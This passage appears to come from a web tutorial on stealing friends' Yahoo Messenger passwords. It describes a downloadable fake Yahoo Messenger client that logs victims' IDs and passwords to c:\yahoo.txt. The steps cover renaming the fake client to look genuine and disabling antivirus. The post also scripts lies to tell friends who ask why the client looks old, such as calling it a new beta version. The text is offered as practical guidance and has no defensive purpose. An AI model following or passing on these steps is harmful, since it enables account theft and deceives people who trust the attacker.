and when ever some one trying to Log In to there account by this fake yahoo messenger the password will be saved in your PC and also they won't be able to log in to there account because it always show an error as shown below
Steps for Hacking Yahoo Messenger passwords:
1. Install Microsoft.Net Frame Work i think almost everyone has this software in their computer if not click here to download.
2. Download Free tool for hacking yahoo accounts(fake yahoo messenger)
File Size : 30.54 KB

3. Rename Fake Yahoo Messenger to Yahoo Messenger
4. Tell your friends to Log In.
Hint: If any of your friends asked why your using old version then tell this reasons...
* Faster load
* No ads inside the chat room etc(As i already told that they won't able to log in to there account by using this software than how can they see inside is there any ads ?)
* Or else tell them this is a new beta version and etc..
It all depends on your skills to Log in your friends...
5. After your friends log in open c:\yahoo.txt and that's your friend Yahoo Id and Password.
NOTE: You need to disable your ANTI VIRUS when all this process is going on.